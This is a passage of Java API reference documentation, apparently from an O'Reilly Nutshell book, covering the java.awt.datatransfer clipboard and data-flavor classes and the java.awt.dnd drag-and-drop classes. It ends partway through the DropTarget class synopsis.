Note that while an application can create its own private Clipboard objects for intra-application cut-and-paste, it is more common for an application to use the system clipboard to enable cut-and-paste between applications. You can obtain the system clipboard by calling the getSystemClipboard() method of the current Toolkit object. Untrusted applet code is not allowed to access the system clipboard, so untrusted applets cannot participate in interapplication cut-and-paste.

public class Clipboard {
// | Public Constructors
 | public Clipboard (String name); |
// | Public Instance Methods
 | public Transferable getContents (Object requestor); | synchronized
 | public String getName (); |
 | public void setContents (Transferable contents, ClipboardOwner owner); | synchronized
// | Protected Instance Fields
 | protected Transferable contents ; |
 | protected ClipboardOwner owner ; |
}

Passed To: ClipboardOwner.lostOwnership(), StringSelection.lostOwnership()

Returned By: Toolkit.getSystemClipboard()

ClipboardOwner | Java 1.1
java.awt.datatransfer | PJ1.1

This interface defines the single method that an object that places data on a clipboard must implement. This method is used to notify the object when its data on the clipboard has been replaced by other, more recent, data. An object that places data on a clipboard must remain ready to satisfy requests for that data until lostOwnership() is called.

public abstract interface ClipboardOwner {
// | Public Instance Methods
 | public abstract void lostOwnership (Clipboard clipboard, Transferable contents);
}

Implementations: StringSelection

Passed To: Clipboard.setContents()

Type Of: Clipboard.owner

DataFlavor | Java 1.1
java.awt.datatransfer | cloneable serializable PJ1.1

This class defines a data format for the purpose of data transfer through Transferable objects. A DataFlavor is characterized by three values. The first is a descriptive human-readable name, passed to a DataFlavor() constructor or set with setHumanPresentableName(). The second value is a MIME type that specifies the data format, while the third is the representation class of the data. This third value is the class of object that is returned by the getTransferData() method of Transferable when data is actually transferred.

In Java 1.1, you can specify either a MIME type or a representation class, but not both. If you specify a MIME type, the representation class is java.io.InputStream, and data is transferred through an input stream. If, on the other hand, you use a Class object to specify the representation class, the MIME type is automatically set to the special value:

application/x-java-serialized-object class=classname

In this case, data is transferred through object serialization.

The plainTextFlavor and stringFlavor constants are predefined DataFlavor objects for transferring text. They illustrate these two distinctly different types of data transfer. plainTextFlavor is "text/plain" data transferred through an input stream, while stringFlavor is a String object transferred directly through serialization.

In Java 1.2, DataFlavor provides several new ways to specify data formats. First, the MIME type constant "application/x-java-serialized-object" is now available as the constant javaSerializedObjectMimeType. Two similar MIME type constants have also been defined. javaJVMLocalObjectMimeType represents a local reference to a Java object. Data flavors of this type can be used only for transfers within a single Java VM. javaRemoteObjectMimeType is a MIME type that represents a remote reference to a java.rmi.Remote object. In this case, a reference to the object, rather than the object data itself, is transferred. This reference can be used with RMI. Note that all three of these MIME type constants are incomplete as is. In order to use them, you must add class=classname to the MIME type string, specifying the class name of the object or remote object being transferred.

Another change in Java 1.2 is the addition of the predefined DataFlavorjavaFileListFlavor. This DataFlavor represents a list of filenames and is transferred as a java.util.List object containing java.io.File objects. javaFileListFlavor has been added because files and groups of files are commonly used with the drag-and-drop interface of the java.awt.dnd package.

public class DataFlavor implements Cloneable, java.io.Externalizable {
// | Public Constructors
1.2 | public DataFlavor (); |
1.2 | public DataFlavor (String mimeType) throws ClassNotFoundException; |
 | public DataFlavor (Class representationClass, String humanPresentableName); |
 | public DataFlavor (String mimeType, String humanPresentableName); |
1.2 | public DataFlavor (String mimeType, String humanPresentableName, ClassLoader classLoader) throws ClassNotFoundException; |
// | Public Constants
1.2 | public static final DataFlavor javaFileListFlavor ; |
1.2 | public static final String javaJVMLocalObjectMimeType ; | ="application/x-java-jvm-local-objectref"
1.2 | public static final String javaRemoteObjectMimeType ; | ="application/x-java-remote-object"
1.2 | public static final String javaSerializedObjectMimeType ; | ="application/x-java-serialized-object"
 | public static final DataFlavor plainTextFlavor ; |
 | public static final DataFlavor stringFlavor ; |
// | Protected Class Methods
1.2 | protected static final Class tryToLoadClass (String className, ClassLoader fallback) throws ClassNotFoundException; |
// | Property Accessor Methods (by property name)
1.2 | public boolean isFlavorJavaFileListType (); | default:false
1.2 | public boolean isFlavorRemoteObjectType (); |
1.2 | public boolean isFlavorSerializedObjectType (); |
 | public String getHumanPresentableName (); | default:null
 | public void setHumanPresentableName (String humanPresentableName); |
 | public String getMimeType (); |
1.2 | public boolean isMimeTypeSerializedObject (); | default:false
1.2 | public String getPrimaryType (); |
 | public Class getRepresentationClass (); | default:null
1.2 | public boolean isRepresentationClassInputStream (); |
1.2 | public boolean isRepresentationClassRemote (); |
1.2 | public boolean isRepresentationClassSerializable (); |
1.2 | public String getSubType (); |
// | Public Instance Methods
1.2 | public boolean equals (String s); |
 | public boolean equals (DataFlavor dataFlavor); |
1.2 | public String getParameter (String paramName); |
 | public boolean isMimeTypeEqual (String mimeType); |
 | public final boolean isMimeTypeEqual (DataFlavor dataFlavor); |
// | Methods Implementing Externalizable
1.2 | public void readExternal (java.io.ObjectInput is) throws java.io.IOException, ClassNotFoundException; | synchronized
1.2 | public void writeExternal (java.io.ObjectOutput os) throws java.io.IOException; | synchronized
// | Public Methods Overriding Object
1.2 | public Object clone () throws CloneNotSupportedException; |
1.2 | public boolean equals (Object o); |
1.2 | public String toString (); |
// | Deprecated Protected Methods
# | protected String normalizeMimeType (String mimeType); |
# | protected String normalizeMimeTypeParameter (String parameterName, String parameterValue); |
}

Hierarchy: Object-->DataFlavor(Cloneable,java.io.Externalizable(Serializable))

Passed To: DataFlavor.{equals(), isMimeTypeEqual()}, FlavorMap.getNativesForFlavors(), StringSelection.{getTransferData(), isDataFlavorSupported()}, SystemFlavorMap.{encodeDataFlavor(), getNativesForFlavors()}, Transferable.{getTransferData(), isDataFlavorSupported()}, UnsupportedFlavorException.UnsupportedFlavorException(), java.awt.dnd.DropTargetContext.isDataFlavorSupported(), java.awt.dnd.DropTargetContext.TransferableProxy.{getTransferData(), isDataFlavorSupported()}, java.awt.dnd.DropTargetDragEvent.isDataFlavorSupported(), java.awt.dnd.DropTargetDropEvent.isDataFlavorSupported()

Returned By: StringSelection.getTransferDataFlavors(), SystemFlavorMap.decodeDataFlavor(), Transferable.getTransferDataFlavors(), java.awt.dnd.DropTargetContext.getCurrentDataFlavors(), java.awt.dnd.DropTargetContext.TransferableProxy.getTransferDataFlavors(), java.awt.dnd.DropTargetDragEvent.getCurrentDataFlavors(), java.awt.dnd.DropTargetDropEvent.getCurrentDataFlavors(), java.awt.dnd.peer.DropTargetContextPeer.getTransferDataFlavors()

Type Of: DataFlavor.{javaFileListFlavor, plainTextFlavor, stringFlavor}

FlavorMap Java 1.2
java.awt.datatransfer

This interface defines methods that map between Java DataFlavor objects and platform-dependent strings that represent the data transfer type to the native system. getFlavorsForNatives() returns a java.util.Map object that maps from native data format names to DataFlavor objects. getNativesForFlavors() returns a Map from DataFlavor objects to native data format names. For both these methods, you may specify either an array of the desired keys or null, to obtain a Map that contains all known key-to-value mappings.

public abstract interface FlavorMap {
// | Public Instance Methods
 | public abstract java.util.Map getFlavorsForNatives (String[ ] natives);
 | public abstract java.util.Map getNativesForFlavors (DataFlavor[ ] flavors);
}

Implementations: SystemFlavorMap

Passed To: java.awt.dnd.DragSource.startDrag(), java.awt.dnd.DropTarget.{DropTarget(), setFlavorMap()}

Returned By: SystemFlavorMap.getDefaultFlavorMap(), java.awt.dnd.DragSource.getFlavorMap(), java.awt.dnd.DropTarget.getFlavorMap()

StringSelection | Java 1.1
java.awt.datatransfer | PJ1.1

This convenience class implements the Transferable and ClipboardOwner interfaces in order to make it easy to transfer String values through the AWT data transfer mechanism. StringSelection can transfer String values using either the DataFlavor.stringFlavor or DataFlavor.plainTextFlavor data flavors.

To create a StringSelection object, simply pass the String you want to transfer to the StringSelection() constructor. You can then make the StringSelection available for transfer by passing it to the setContents() method of the Clipboard. You need never call the methods of StringSelection yourself.

public class StringSelection implements ClipboardOwner, Transferable {
// | Public Constructors
 | public StringSelection (String data); |
// | Methods Implementing ClipboardOwner
 | public void lostOwnership (Clipboard clipboard, Transferable contents); | empty
// | Methods Implementing Transferable
 | public Object getTransferData (DataFlavor flavor) throws UnsupportedFlavorException, java.io.IOException; | synchronized
 | public DataFlavor[ ] getTransferDataFlavors (); | synchronized
 | public boolean isDataFlavorSupported (DataFlavor flavor); |
}

Hierarchy: Object-->StringSelection(ClipboardOwner,Transferable)

SystemFlavorMap Java 1.2
java.awt.datatransfer

This FlavorMap implementation reads the mappings from DataFlavor objects to native data format names for the system from an external file. In Sun's Java SDK implementation, for example, this class reads the flavormap.properties file.

SystemFlavorMap does not have a public constructor. You can obtain an instance by calling getDefaultFlavorMap(). SystemFlavorMap also defines several static methods that you can use without instantiating the class.

public final class SystemFlavorMap implements FlavorMap {
// | No Constructor
// | Public Class Methods
 | public static DataFlavor decodeDataFlavor (String atom) throws ClassNotFoundException; |
 | public static String decodeJavaMIMEType (String atom); |
 | public static String encodeDataFlavor (DataFlavor df); |
 | public static String encodeJavaMIMEType (String mimeType); |
 | public static FlavorMap getDefaultFlavorMap (); |
 | public static boolean isJavaMIMEType (String atom); |
// | Methods Implementing FlavorMap
 | public java.util.Map getFlavorsForNatives (String[ ] natives); | synchronized
 | public java.util.Map getNativesForFlavors (DataFlavor[ ] flavors); | synchronized
}

Hierarchy: Object-->SystemFlavorMap(FlavorMap)

Transferable | Java 1.1
java.awt.datatransfer | PJ1.1

This interface defines the methods that a class must define if it is to act as the source object in a data transfer operation.

getTransferDataFlavors() should return an array of DataFlavor objects that specify the data types or formats in which the object can provide its data. The DataFlavor objects should be ordered from best format (most richly descriptive) to worst format. isDataFlavorSupported() must return a boolean value that indicates whether it can transfer data using a specified DataFlavor. Finally, getTransferData() must return an object that represents the data formatted as required by the specified DataFlavor.

StringSelection is a predefined class that implements the Transferable interface for the transfer of string data.

public abstract interface Transferable {
// | Public Instance Methods
 | public abstract Object getTransferData (DataFlavor flavor) throws UnsupportedFlavorException, java.io.IOException;
 | public abstract DataFlavor[ ] getTransferDataFlavors ();
 | public abstract boolean isDataFlavorSupported (DataFlavor flavor);
}

Implementations: StringSelection, java.awt.dnd.DropTargetContext.TransferableProxy

Passed To: Clipboard.setContents(), ClipboardOwner.lostOwnership(), StringSelection.lostOwnership(), java.awt.dnd.DragGestureEvent.startDrag(), java.awt.dnd.DragSource.{createDragSourceContext(), startDrag()}, java.awt.dnd.DragSourceContext.DragSourceContext(), java.awt.dnd.DropTargetContext.createTransferableProxy()

Returned By: Clipboard.getContents(), java.awt.dnd.DragSourceContext.getTransferable(), java.awt.dnd.DropTargetContext.{createTransferableProxy(), getTransferable()}, java.awt.dnd.DropTargetDropEvent.getTransferable(), java.awt.dnd.peer.DropTargetContextPeer.getTransferable()

Type Of: Clipboard.contents, java.awt.dnd.DropTargetContext.TransferableProxy.transferable

UnsupportedFlavorException | Java 1.1
java.awt.datatransfer | serializable checked PJ1.1

Signals that a Transferable object cannot provide data in the requested format.

public class UnsupportedFlavorException extends Exception {
// | Public Constructors
 | public UnsupportedFlavorException (DataFlavor flavor);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->UnsupportedFlavorException

Thrown By: StringSelection.getTransferData(), Transferable.getTransferData(), java.awt.dnd.DropTargetContext.TransferableProxy.getTransferData()

Previous | Home | Next
10.1. The java.awt.color Package | Book Index | 12. The java.awt.dnd Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.awt.dnd Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 12. The java.awt.dnd Package

The java.awt.dnd package contains classes and interfaces that support data transfer through the drag-and-drop metaphor; the package is new in Java 1.2. This functionality is built upon the data transfer framework of the java.awt.datatransfer package.

A DragSource object is a proxy for an object that initiates a drag, while a DropTarget object is a proxy for an object that wishes to accept drops. All inter-object communication during the drag process is done through the various event classes defined by this package. Figure 12-1 shows the class hierarchy of this package. See Chapter 6, "Data Transfer", for more details on drag-and-drop.

Figure 12-1. The java.awt.dnd package

Autoscroll Java 1.2
java.awt.dnd

This interface allows a scrollable component to scroll itself as part of the drag-and-drop process, so that a user can drop an object anywhere within the component's scrollable content. Consider, for example, the problem of cutting a paragraph of text from the top of a long document and dragging it down to the bottom of the same document. While the drag-and-drop operation is in progress, the user obviously cannot operate the scrollbar, since the mouse is already in use. So some other technique is necessary to enable scrolling during a drag-and-drop operation.

The Autoscroll interface enables this specialized form of scrolling. When an object is first dragged over a component that implements Autoscroll, the drag-and-drop system calls the component's getAutoscrollInsets() method. This defines an autoscroll region at the edges of the component. If, during the drag, the user places the mouse within this autoscroll region and holds it there (for a platform-dependent amount of time), the drag-and-drop system begins to call the autoscroll() method repeatedly (at a platform-dependent repetition rate) until the user once again moves the mouse. The autoscroll() method of the component is responsible for scrolling the content. The direction of the scroll is determined by the position of the mouse pointer, which is passed as an argument to autoscroll().

public abstract interface Autoscroll {
// | Public Instance Methods
 | public abstract void autoscroll (Point cursorLocn);
 | public abstract Insets getAutoscrollInsets ();
}
DnDConstants Java 1.2
java.awt.dnd

Successful completion of a drag-and-drop operation can result in a number of different types of actions being performed. This interface defines constants that represent the possible actions:

ACTION_COPY

This is the most common action: the dragged object is to be copied in some way. ACTION_COPY is also used as a default action when there is only one possible action, even if that action is not really a copy.

ACTION_MOVE

The dragged object is to be copied by the destination. The source object deletes its copy after the object is successfully transferred.

ACTION_COPY_OR_MOVE

This constant is the combination of ACTION_COPY and ACTION_MOVE. Many drop targets can accept drops of either type; this constant is used to indicate that fact.

ACTION_LINK or ACTION_REFERENCE

These two constants are synonyms. They indicate that the destination object should create a link to the transferred object or share a reference to the transferred object with the source object. Note that this action has a particularly vague meaning; its use is not recommended except for intra-application drag-and-drop of specialized data types.

ACTION_NONE

This constant specifies that no actions are supported. It is used internally by the drag-and-drop API but is not commonly used by application-level code.

public final class DnDConstants {
// | No Constructor
// | Public Constants
 | public static final int ACTION_COPY ; | =1
 | public static final int ACTION_COPY_OR_MOVE ; | =3
 | public static final int ACTION_LINK ; | =1073741824
 | public static final int ACTION_MOVE ; | =2
 | public static final int ACTION_NONE ; | =0
 | public static final int ACTION_REFERENCE ; | =1073741824
}
DragGestureEvent | Java 1.2
java.awt.dnd | serializable event

This event type is fired by a DragGestureRecognizer and sent to the dragGestureRecognized() method of a DragGestureListener. Unlike many event classes, which are merely holders of event information, DragGestureEvent also defines the startDrag() method, which can be used to initiate the drag-and-drop process.

When the dragGestureRecognized() method is invoked, it should start the drag-and-drop process by invoking this startDrag() method, passing in the initial drag cursor to display, the Transferable data to transfer, and the DragSourceListener that monitors the drag process. If there is to be an image dragged along with the drag cursor, the image and its offset from the cursor hotspot may also be passed to startDrag().

The other methods of DragGestureEvent() are accessor methods that return information about the event. Most applications do not need to call them.

public class DragGestureEvent extends java.util.EventObject {
// | Public Constructors
 | public DragGestureEvent (DragGestureRecognizer dgr, int act, Point ori, java.util.List evs);
// | Property Accessor Methods (by property name)
 | public Component getComponent ();
 | public int getDragAction ();
 | public Point getDragOrigin ();
 | public DragSource getDragSource ();
 | public DragGestureRecognizer getSourceAsDragGestureRecognizer ();
 | public java.awt.event.InputEvent getTriggerEvent ();
// | Public Instance Methods
 | public java.util.Iterator iterator ();
 | public void startDrag (Cursor dragCursor, java.awt.datatransfer.Transferable transferable, DragSourceListener dsl) throws InvalidDnDOperationException;
 | public void startDrag (Cursor dragCursor, Image dragImage, Point imageOffset, java.awt.datatransfer.Transferable transferable, DragSourceListener dsl) throws InvalidDnDOperationException;
 | public Object[ ] toArray ();
 | public Object[ ] toArray (Object[ ] array);
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->DragGestureEvent

Passed To: Toolkit.createDragSourceContextPeer(), DragGestureListener.dragGestureRecognized(), DragSource.{createDragSourceContext(), startDrag()}, DragSourceContext.DragSourceContext()

Returned By: DragSourceContext.getTrigger()

DragGestureListener | Java 1.2
java.awt.dnd | event listener

This interface defines the method that is invoked by a DragGestureRecognizer when the user initiates a drag-and-drop action. When dragGestureRecognized() is called, the DragGestureListener should prepare a Transferable object to be transferred through the drag-and-drop process and then initiate that process by calling the startDrag() method of the DragGestureEvent object.

You do not typically pass a DragGestureListener to an addDragGestureListener() method. Instead, you specify the DragGestureListener when you call the createDefaultDragGestureRecognizer() method of a DragSource object. This method creates a DragGestureRecognizer and automatically registers the DragGestureListener with it.

public abstract interface DragGestureListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void dragGestureRecognized (DragGestureEvent dge);
}

Hierarchy: (DragGestureListener(java.util.EventListener))

Passed To: Toolkit.createDragGestureRecognizer(), DragGestureRecognizer.{addDragGestureListener(), DragGestureRecognizer(), removeDragGestureListener()}, DragSource.{createDefaultDragGestureRecognizer(), createDragGestureRecognizer()}, MouseDragGestureRecognizer.MouseDragGestureRecognizer()

Type Of: DragGestureRecognizer.dragGestureListener

DragGestureRecognizer Java 1.2
java.awt.dnd

Drag-and-drop operations may be initiated in different ways on different native platforms. This abstract class is the superclass of the platform-dependent classes that are used to recognize the platform-dependent gesture used to begin a drag. As an abstract class, you cannot instantiate a DragGestureRecognizer directly. Instead, you typically create a DragGestureRecognizer by calling the createDefaultDragGestureRecognizer() method of a DragSource object. If you want to allow the user to initiate drags with nonstandard gestures, you may implement your own DragGestureRecognizer subclass and instantiate it by calling the createDragGestureRecognizer() method of java.awt.Toolkit.

When you create a DragGestureRecognizer, you specify the Component it is to look for drag gestures over and the DragGestureListener it is to notify when it recognizes one. The creation process automatically links these three objects together, so you typically never need to do anything with a DragGestureRecognizer other than create it.

One additional piece of information you must supply when you create a DragGestureRecognizer is a bit mask of allowed drag actions. ACTION_COPY, ACTION_MOVE, and ACTION_LINK actions are usually initiated with different gestures (different modifier keys). A DragGestureRecognizer must know which actions are available so it can know which gestures to recognize and which to ignore.

public abstract class DragGestureRecognizer {
// | Protected Constructors
 | protected DragGestureRecognizer (DragSource ds); |
 | protected DragGestureRecognizer (DragSource ds, Component c); |
 | protected DragGestureRecognizer (DragSource ds, Component c, int sa); |
 | protected DragGestureRecognizer (DragSource ds, Component c, int sa, DragGestureListener dgl); |
// | Event Registration Methods (by event name)
 | public void addDragGestureListener (DragGestureListener dgl) throws java.util.TooManyListenersException; | synchronized
 | public void removeDragGestureListener (DragGestureListener dgl); | synchronized
// | Property Accessor Methods (by property name)
 | public Component getComponent (); | synchronized
 | public void setComponent (Component c); | synchronized
 | public DragSource getDragSource (); |
 | public int getSourceActions (); | synchronized
 | public void setSourceActions (int actions); | synchronized
 | public java.awt.event.InputEvent getTriggerEvent (); |
// | Public Instance Methods
 | public void resetRecognizer (); |
// | Protected Instance Methods
 | protected void appendEvent (java.awt.event.InputEvent awtie); | synchronized
 | protected void fireDragGestureRecognized (int dragAction, Point p); | synchronized
 | protected abstract void registerListeners (); |
 | protected abstract void unregisterListeners (); |
// | Protected Instance Fields
 | protected Component component ; |
 | protected DragGestureListener dragGestureListener ; |
 | protected DragSource dragSource ; |
 | protected java.util.ArrayList events ; |
 | protected int sourceActions ; |
}

Subclasses: MouseDragGestureRecognizer

Passed To: DragGestureEvent.DragGestureEvent()

Returned By: Toolkit.createDragGestureRecognizer(), DragGestureEvent.getSourceAsDragGestureRecognizer(), DragSource.{createDefaultDragGestureRecognizer(), createDragGestureRecognizer()}

DragSource Java 1.2
java.awt.dnd

This class coordinates the initiation of drag-and-drop operations. Despite the central role it plays in the drag-and-drop system, it is not used much in typical drag-and-drop code.

You can create a DragSource object by calling the constructor, but because the DragSource object does not hold any state, you can continually reuse a single object. Call the static getDefaultDragSource() method to obtain a reference to a shared default DragSource object.

Once you have obtained a DragSource object, call createDefaultDragGestureRecognizer() to create and register a DragGestureRecognizer object that detects user gestures that should initiate drags. If you want to drag an image that represents the dragged data along with the drag cursor, you may also call the isDragImageSupported() method to find out whether that option is supported on the native platform.

After you have called these two methods, you typically never need to use the DragSource again. The startDrag() method of the DragSource is responsible for initiating a drag action, but it is easier to invoke it through the startDrag() utility method of the DragGestureEvent class instead.

public class DragSource {
// | Public Constructors
 | public DragSource (); |
// | Public Constants
 | public static final Cursor DefaultCopyDrop ; |
 | public static final Cursor DefaultCopyNoDrop ; |
 | public static final Cursor DefaultLinkDrop ; |
 | public static final Cursor DefaultLinkNoDrop ; |
 | public static final Cursor DefaultMoveDrop ; |
 | public static final Cursor DefaultMoveNoDrop ; |
// | Public Class Methods
 | public static DragSource getDefaultDragSource (); |
 | public static boolean isDragImageSupported (); |
// | Public Instance Methods
 | public DragGestureRecognizer createDefaultDragGestureRecognizer (Component c, int actions, DragGestureListener dgl); |
 | public DragGestureRecognizer createDragGestureRecognizer (Class recognizerAbstractClass, Component c, int actions, DragGestureListener dgl); |
 | public java.awt.datatransfer.FlavorMap getFlavorMap (); | default:SystemFlavorMap
 | public void startDrag (DragGestureEvent trigger, Cursor dragCursor, java.awt.datatransfer.Transferable transferable, DragSourceListener dsl) throws InvalidDnDOperationException; |
 | public void startDrag (DragGestureEvent trigger, Cursor dragCursor, java.awt.datatransfer.Transferable transferable, DragSourceListener dsl, java.awt.datatransfer.FlavorMap flavorMap) throws InvalidDnDOperationException; |
 | public void startDrag (DragGestureEvent trigger, Cursor dragCursor, Image dragImage, Point dragOffset, java.awt.datatransfer.Transferable transferable, DragSourceListener dsl) throws InvalidDnDOperationException; |
 | public void startDrag (DragGestureEvent trigger, Cursor dragCursor, Image dragImage, Point imageOffset, java.awt.datatransfer.Transferable transferable, DragSourceListener dsl, java.awt.datatransfer.FlavorMap flavorMap) throws InvalidDnDOperationException; |
// | Protected Instance Methods
 | protected DragSourceContext createDragSourceContext (java.awt.dnd.peer.DragSourceContextPeer dscp, DragGestureEvent dgl, Cursor dragCursor, Image dragImage, Point imageOffset, java.awt.datatransfer.Transferable t, DragSourceListener dsl); |
}

Passed To: Toolkit.createDragGestureRecognizer(), DragGestureRecognizer.DragGestureRecognizer(), MouseDragGestureRecognizer.MouseDragGestureRecognizer()

Returned By: DragGestureEvent.getDragSource(), DragGestureRecognizer.getDragSource(), DragSource.getDefaultDragSource(), DragSourceContext.getDragSource()

Type Of: DragGestureRecognizer.dragSource

DragSourceContext Java 1.2
java.awt.dnd

This class contains state information about a drag operation currently in progress. It is the DragSourceContext that is responsible for communicating with the native drag-and-drop system of the underlying platform and relaying drag-and-drop events to the DragSourceListener. Although this is an important class, it does its work in the background, and you typically do not need to use it. If you do want to use it, for example, to perform cursor animation with the setCursor() method, you may obtain the current DragSourceContext from any DragSourceEvent object.

public class DragSourceContext implements DragSourceListener {
// | Public Constructors
 | public DragSourceContext (java.awt.dnd.peer.DragSourceContextPeer dscp, DragGestureEvent trigger, Cursor dragCursor, Image dragImage, Point offset, java.awt.datatransfer.Transferable t, DragSourceListener dsl); |
// | Protected Constants
 | protected static final int CHANGED ; | =3
 | protected static final int DEFAULT ; | =0
 | protected static final int ENTER ; | =1
 | protected static final int OVER ; | =2
// | Event Registration Methods (by event name)
 | public void addDragSourceListener (DragSourceListener dsl) throws java.util.TooManyListenersException; | synchronized
 | public void removeDragSourceListener (DragSourceListener dsl); | synchronized
// | Property Accessor Methods (by property name)
 | public Component getComponent (); |
 | public Cursor getCursor (); |
 | public void setCursor (Cursor c); |
 | public DragSource getDragSource (); |
 | public int getSourceActions (); |
 | public java.awt.datatransfer.Transferable getTransferable (); |
 | public DragGestureEvent getTrigger (); |
// | Public Instance Methods
 | public void transferablesFlavorsChanged (); |
// | Methods Implementing DragSourceListener
 | public void dragDropEnd (DragSourceDropEvent dsde); | synchronized
 | public void dragEnter (DragSourceDragEvent dsde); | synchronized
 | public void dragExit (DragSourceEvent dse); | synchronized
 | public void dragOver (DragSourceDragEvent dsde); | synchronized
 | public void dropActionChanged (DragSourceDragEvent dsde); | synchronized
// | Protected Instance Methods
 | protected void updateCurrentCursor (int dropOp, int targetAct, int status); |
}

Hierarchy: Object-->DragSourceContext(DragSourceListener(java.util.EventListener))

Passed To: DragSourceDragEvent.DragSourceDragEvent(), DragSourceDropEvent.DragSourceDropEvent(), DragSourceEvent.DragSourceEvent(), java.awt.dnd.peer.DragSourceContextPeer.startDrag()

Returned By: DragSource.createDragSourceContext(), DragSourceEvent.getDragSourceContext()

DragSourceDragEvent | Java 1.2
java.awt.dnd | serializable event

This event type is fired by a DragSourceContext and passed to the dragEnter(), dragOver(), dragExit(), and dragActionChanged() methods of a DragSourceListener. These methods may use the notification as an opportunity to perform drag-over animation effects, by changing the cursor, for example.

isLocalDropTarget() specifies whether the drop target currently under the cursor is in the same Java VM as the drag source. getUserAction() returns the current drag action selected by the user. This is usually a function of the modifier keys the user is holding down; these modifiers are available from getGestureModifiers(). getTargetActions() returns a bit mask of the actions that the drop target can support, and getDropAction() is the intersection of the user action with the set of target actions.

public class DragSourceDragEvent extends DragSourceEvent {
// | Public Constructors
 | public DragSourceDragEvent (DragSourceContext dsc, int dropAction, int actions, int modifiers);
// | Property Accessor Methods (by property name)
 | public int getDropAction ();
 | public int getGestureModifiers ();
 | public int getTargetActions ();
 | public int getUserAction ();
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->DragSourceEvent-->DragSourceDragEvent

Passed To: DragSourceContext.{dragEnter(), dragOver(), dropActionChanged()}, DragSourceListener.{dragEnter(), dragOver(), dropActionChanged()}

DragSourceDropEvent | Java 1.2
java.awt.dnd | serializable event

This event type is fired by the DragSourceContext and is passed to the dragDropEnd() method of a DragSourceListener to signify that the drag-and-drop operation is complete. getDropSuccess() returns true if the drop occurs and the data is successfully transferred. It returns false if the drag is cancelled, if the drop is performed over an invalid drop target, or if the data transfer is not successful. getDropAction() returns the action (see DnDConstants) that is actually performed. The user's selected action may change during the drag, so this value may not be the same as the initially selected action.

public class DragSourceDropEvent extends DragSourceEvent {
// | Public Constructors
 | public DragSourceDropEvent (DragSourceContext dsc);
 | public DragSourceDropEvent (DragSourceContext dsc, int action, boolean success);
// | Public Instance Methods
 | public int getDropAction ();
 | public boolean getDropSuccess ();
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->DragSourceEvent-->DragSourceDropEvent

Passed To: DragSourceContext.dragDropEnd(), DragSourceListener.dragDropEnd()

DragSourceEvent | Java 1.2
java.awt.dnd | serializable event

This class is the superclass of event types fired by a DragSourceContext to notify a DragSourceListener about events in the drag-and-drop process. Although applications typically do not need to do so, they can call getDragSourceContext() or getSource() to obtain a reference to the current DragSourceContext. This object can be used, for example, to perform drag over animation effects by changing the current drag cursor. If you are writing a DragSourceListener that handles drags on more than one component, you can determine which component initiated the drag by calling getSource() to obtain a DragSourceContext and then calling its getComponent() method.

See also DragSourceDragEvent and DragSourceDropEvent.

public class DragSourceEvent extends java.util.EventObject {
// | Public Constructors
 | public DragSourceEvent (DragSourceContext dsc);
// | Public Instance Methods
 | public DragSourceContext getDragSourceContext ();
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->DragSourceEvent

Subclasses: DragSourceDragEvent, DragSourceDropEvent

Passed To: DragSourceContext.dragExit(), DragSourceListener.dragExit()

DragSourceListener | Java 1.2
java.awt.dnd | event listener

This interface is implemented by objects that allow data to be transferred through drag-and-drop and want to be notified about the progress of the drag-and-drop process. The methods of this interface are invoked by a DragSourceContext at various interesting points during the drag-and-drop. The methods are passed a DragSourceDragEvent or a DragSourceDropEvent, both of which are subclasses of DragSourceEvent. The methods are:

dragDropEnd()

Invoked when the drag-and-drop operation is complete and has ended in success or failure. This is the only method that is passed a DragSourceDropEvent, instead of a DragSourceDragEvent. If the drag is of type ACTION_MOVE and the getDropSuccess() method of DragSourceDropEvent returns true, the DragSourceListener knows that the data has been safely transferred to the drop target and should delete the source copy of that data.

dragEnter()

Called when the drag cursor has entered an active drop target that has indicated an interest in and capability to receive a drop. This method should initiate any custom drag over effects.

dragExit()

Invoked when the drag cursor has left a receptive drop target. This method should terminate any custom drag over effects.

dragOver()

Called continuously while the mouse remains within a receptive drop target. Because this method is called very frequently, it should not perform any lengthy operations.

dropActionChanged()

Invoked if the user changes his desired drop action, typically by changing the keyboard modifiers she is holding down. If you are displaying a custom drag cursor, this method may need to modify the currently displayed cursor.

public abstract interface DragSourceListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void dragDropEnd (DragSourceDropEvent dsde);
 | public abstract void dragEnter (DragSourceDragEvent dsde);
 | public abstract void dragExit (DragSourceEvent dse);
 | public abstract void dragOver (DragSourceDragEvent dsde);
 | public abstract void dropActionChanged (DragSourceDragEvent dsde);
}

Hierarchy: (DragSourceListener(java.util.EventListener))

Implementations: DragSourceContext

Passed To: DragGestureEvent.startDrag(), DragSource.{createDragSourceContext(), startDrag()}, DragSourceContext.{addDragSourceListener(), DragSourceContext(), removeDragSourceListener()}

DropTarget | Java 1.2
java.awt.dnd | serializable

This class holds the state necessary for a Component to accept drops. Create a DropTarget by specifying the Component with which it is to be associated and the DropTargetListener that responds to interesting events during a drag-and-drop operation. You may optionally specify a bit mask of drop actions that this DropTarget can support and a boolean value that indicates whether the DropTarget is currently active. If you do not specify these optional values, your DropTarget supports ACTION_COPY_OR_MOVE and is active.

Once you have created a DropTarget, you often never have to do anything else with it. The DropTarget() constructor automatically connects the DropTarget with the Component it serves and the DropTargetListener it notifies, so you do not have to perform any of the registration yourself. In fact, the only time you typically need to use the DropTarget object you create is if you need to activate or deactivate it with setActive().

public class DropTarget implements DropTargetListener, Serializable {
// | Public Constructors
 | public DropTarget (); |
 | public DropTarget (Component c, DropTargetListener dtl); |
 | public DropTarget (Component c, int ops, DropTargetListener dtl); |
 | public DropTarget (Component c, int ops, DropTargetListener dtl, boolean act); |
 | public DropTarget (Component c, int ops, DropTargetListener dtl, boolean act, java.awt.datatransfer.FlavorMap fm); |
// | Inner Classes
 | ; |
// | Event Registration Methods (by event name)
 | public void addDropTargetListener (DropTargetListener dtl) throws java.util.TooManyListenersException; | synchronized
 | public void removeDropTargetListener (DropTargetListener dtl); | synchronized
// | Property Accessor Methods (by property name)
 | public boolean isActive (); | synchronized default:true
 | public void setActive (boolean isActive); | synchronized
 | public Component getComponent (); | synchronized default:null
 | public void setComponent (Component c); | synchronized
